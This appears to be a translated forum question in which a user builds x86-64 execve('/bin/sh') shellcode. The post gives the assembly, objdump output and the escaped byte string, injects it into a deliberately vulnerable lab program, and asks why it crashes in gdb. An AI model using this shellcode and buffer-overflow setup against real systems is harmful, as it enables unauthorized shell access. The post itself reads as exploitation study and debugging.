我有汇编代码:
section .shellcode progbits alloc exec write align=16
global _start
_start:
xor rdx,rdx
xor rbx,rbx
xor rax,rax
xor rsi,rsi
xor rdi,rdi
mov qword rbx,0x68732f6e69622f2f
shr rbx,0x8
push rbx
mov rdi,rsp
push rax
push rdi
mov rsi,rsp
mov al,0x3b
syscall
汇编代码调用execve,使用" / bin / sh"正如所料。
我这样运行:
nasm -f elf64 shellCode.asm
ld shellCode.o -o shellCode
./shellCode
成功生成了一个shell。
我使用" objdump -D ./shellCode:
48 31 d2 xor %rdx,%rdx
48 31 db xor %rbx,%rbx
48 31 c0 xor %rax,%rax
48 31 f6 xor %rsi,%rsi
48 31 ff xor %rdi,%rdi
48 bb 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%rbx
2f 73 68
48 c1 eb 08 shr $0x8,%rbx
53 push %rbx
48 89 e7 mov %rsp,%rdi
50 push %rax
57 push %rdi
48 89 e6 mov %rsp,%rsi
b0 3b mov $0x3b,%al
0f 05 syscall
我把它变成了我的漏洞利用的shellcode:
\x48\x31\xd2\x48\x31\xdb\x48\x31\xc0\x48\x31\xf6\x48\x31\xff\x48\xbb\x2f\x2f\x62\x69
\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
我用NOP缓冲它。我最后有回信地址 我在gdb中编译并启动易受攻击的程序,以验证shellcode是否正确放置在内存中并且正在运行:
gcc -g -fno-stack-protector -z execstack vuln.c -o vuln
gdb ./vuln
为了节省一些空间并简化操作,我将只显示内存已填充我的shellcode,并且它正在执行:
(gdb) x/40x $rip
0x7fffffffe1d0: 0x90909090 0x90909090 0x48d23148 0x3148db31
0x7fffffffe1e0: 0xf63148c0 0x48ff3148 0x622f2fbb 0x732f6e69
0x7fffffffe1f0: 0xebc14868 0x89485308 0x485750e7 0x3bb0e689
0x7fffffffe200: 0x9090050f 0x90909090 0x90909090 0x90909090
唉,在完成指示的同时,我到达了这个:
(gdb) nexti
0x00007fffffffe1f1 in ?? ()
(gdb) i r
rax 0x0 0
rbx 0x68732f6e69622f2f 7526411553527181103
rcx 0x7ffff7b01470 140737348899952
rdx 0x0 0
rsi 0x0 0
rdi 0x0 0
rbp 0x9090909090909090 0x9090909090909090
rsp 0x7fffffffe260 0x7fffffffe260
r8 0x0 0
r9 0x77 119
r10 0x7c 124
r11 0x246 582
r12 0x400450 4195408
r13 0x7fffffffe330 140737488347952
r14 0x0 0
r15 0x0 0
rip 0x7fffffffe1f1 0x7fffffffe1f1
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) nexti
0x00007fffffffe1f5 in ?? ()
(gdb) nexti
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0x68732f6e69622f
0x00007fffffffe1f6 in ?? ()
当我查看寄存器内容时,请注意,在我做之前" shr $ 0x8,rbx"。
稍后的两条指令意味着我在尝试"推送rbx"时会出现错误。到堆栈。
所以,我有两个问题 1)为什么汇编代码在自行运行时与在vuln程序缓冲区中运行时相比可以正常工作? 2)更具体地说,当我试图推送rbx(字符串" / bin / sh")时,为什么它会尝试使用rbx的内容作为访问地址?